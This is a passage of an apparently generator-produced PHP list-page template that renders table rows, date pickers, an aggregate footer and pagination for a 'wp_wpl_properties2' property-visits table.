<input type="hidden" data-table="wp_wpl_properties2" data-field="x_visit_time" name="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" id="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_time" value="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_time->OldValue) ?>">
</td>
	<?php } ?>
	<?php if ($wp_wpl_properties2_list->visit_date->Visible) { // visit_date ?>
		<td data-name="visit_date">
<span id="el$rowindex$_wp_wpl_properties2_visit_date" class="form-group wp_wpl_properties2_visit_date">
<input type="text" data-table="wp_wpl_properties2" data-field="x_visit_date" name="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" id="x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" maxlength="19" placeholder="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_date->getPlaceHolder()) ?>" value="<?php echo $wp_wpl_properties2_list->visit_date->EditValue ?>"<?php echo $wp_wpl_properties2_list->visit_date->editAttributes() ?>>
<?php if (!$wp_wpl_properties2_list->visit_date->ReadOnly && !$wp_wpl_properties2_list->visit_date->Disabled && !isset($wp_wpl_properties2_list->visit_date->EditAttrs["readonly"]) && !isset($wp_wpl_properties2_list->visit_date->EditAttrs["disabled"])) { ?>
<script>
loadjs.ready(["fwp_wpl_properties2list", "datetimepicker"], function() {
	ew.createDateTimePicker("fwp_wpl_properties2list", "x<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date", {"ignoreReadonly":true,"useCurrent":false,"format":0});
});
</script>
<?php } ?>
</span>
<input type="hidden" data-table="wp_wpl_properties2" data-field="x_visit_date" name="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" id="o<?php echo $wp_wpl_properties2_list->RowIndex ?>_visit_date" value="<?php echo HtmlEncode($wp_wpl_properties2_list->visit_date->OldValue) ?>">
</td>
	<?php } ?>
<?php

// Render list options (body, right)
$wp_wpl_properties2_list->ListOptions->render("body", "right", $wp_wpl_properties2_list->RowIndex);
?>
<script>
loadjs.ready(["fwp_wpl_properties2list", "load"], function() {
	fwp_wpl_properties2list.updateLists(<?php echo $wp_wpl_properties2_list->RowIndex ?>);
});
</script>
	</tr>
<?php
	}
?>
</tbody>
<?php

// Render aggregate row
$wp_wpl_properties2->RowType = ROWTYPE_AGGREGATE;
$wp_wpl_properties2->resetAttributes();
$wp_wpl_properties2_list->renderRow();
?>
<?php if ($wp_wpl_properties2_list->TotalRecords > 0 && !$wp_wpl_properties2_list->isGridAdd() && !$wp_wpl_properties2_list->isGridEdit()) { ?>
<tfoot><!-- Table footer -->
	<tr class="ew-table-footer">
<?php

// Render list options
$wp_wpl_properties2_list->renderListOptions();

// Render list options (footer, left)
$wp_wpl_properties2_list->ListOptions->render("footer", "left");
?>
	<?php if ($wp_wpl_properties2_list->id->Visible) { // id ?>
		<td data-name="id" class="<?php echo $wp_wpl_properties2_list->id->footerCellClass() ?>"><span id="elf_wp_wpl_properties2_id" class="wp_wpl_properties2_id">
		&nbsp;
		</span></td>
	<?php } ?>
	<?php if ($wp_wpl_properties2_list->visit_time->Visible) { // visit_time ?>
		<td data-name="visit_time" class="<?php echo $wp_wpl_properties2_list->visit_time->footerCellClass() ?>"><span id="elf_wp_wpl_properties2_visit_time" class="wp_wpl_properties2_visit_time">
		<span class="ew-aggregate"><?php echo $Language->phrase("TOTAL") ?></span><span class="ew-aggregate-value">
		<?php echo $wp_wpl_properties2_list->visit_time->ViewValue ?></span>
		</span></td>
	<?php } ?>
	<?php if ($wp_wpl_properties2_list->visit_date->Visible) { // visit_date ?>
		<td data-name="visit_date" class="<?php echo $wp_wpl_properties2_list->visit_date->footerCellClass() ?>"><span id="elf_wp_wpl_properties2_visit_date" class="wp_wpl_properties2_visit_date">
		&nbsp;
		</span></td>
	<?php } ?>
<?php

// Render list options (footer, right)
$wp_wpl_properties2_list->ListOptions->render("footer", "right");
?>
	</tr>
</tfoot>
<?php } ?>
</table><!-- /.ew-table -->
<?php } ?>
</div><!-- /.ew-grid-middle-panel -->
<?php if ($wp_wpl_properties2_list->isGridEdit()) { ?>
<input type="hidden" name="action" id="action" value="gridupdate">
<input type="hidden" name="<?php echo $wp_wpl_properties2_list->FormKeyCountName ?>" id="<?php echo $wp_wpl_properties2_list->FormKeyCountName ?>" value="<?php echo $wp_wpl_properties2_list->KeyCount ?>">
<?php echo $wp_wpl_properties2_list->MultiSelectKey ?>
<?php } ?>
<?php if (!$wp_wpl_properties2->CurrentAction) { ?>
<input type="hidden" name="action" id="action" value="">
<?php } ?>
</form><!-- /.ew-list-form -->
<?php

// Close recordset
if ($wp_wpl_properties2_list->Recordset)
	$wp_wpl_properties2_list->Recordset->Close();
?>
<?php if (!$wp_wpl_properties2_list->isExport()) { ?>
<div class="card-footer ew-grid-lower-panel">
<?php if (!$wp_wpl_properties2_list->isGridAdd()) { ?>
<form name="ew-pager-form" class="form-inline ew-form ew-pager-form" action="<?php echo CurrentPageName() ?>">
<?php echo $wp_wpl_properties2_list->Pager->render() ?>
</form>
<?php } ?>
<div class="ew-list-other-options">
<?php $wp_wpl_properties2_list->OtherOptions->render("body", "bottom") ?>
</div>
<div class="clearfix"></div>
</div>
<?php } ?>
</div><!-- /.ew-grid -->
<?php } ?>
<?php if ($wp_wpl_properties2_list->TotalRecords == 0 && !$wp_wpl_properties2->CurrentAction) { // Show other options ?>
<div class="ew-list-other-options">
<?php $wp_wpl_properties2_list->OtherOptions->render("body") ?>
</div>
<div class="clearfix"></div>
<?php } ?>
<?php
$wp_wpl_properties2_list->showPageFooter();
if (Config("DEBUG"))
	echo GetDebugMessage();
?>
<?php if (!$wp_wpl_properties2_list->isExport()) { ?>
<script>
loadjs.ready("load", function() {

	// Startup script
	// Write your table-specific startup script here
	// console.log("page loaded");

});
</script>
<?php } ?>
<?php include_once "footer.php"; ?>
<?php
$wp_wpl_properties2_list->terminate();
?>

Hry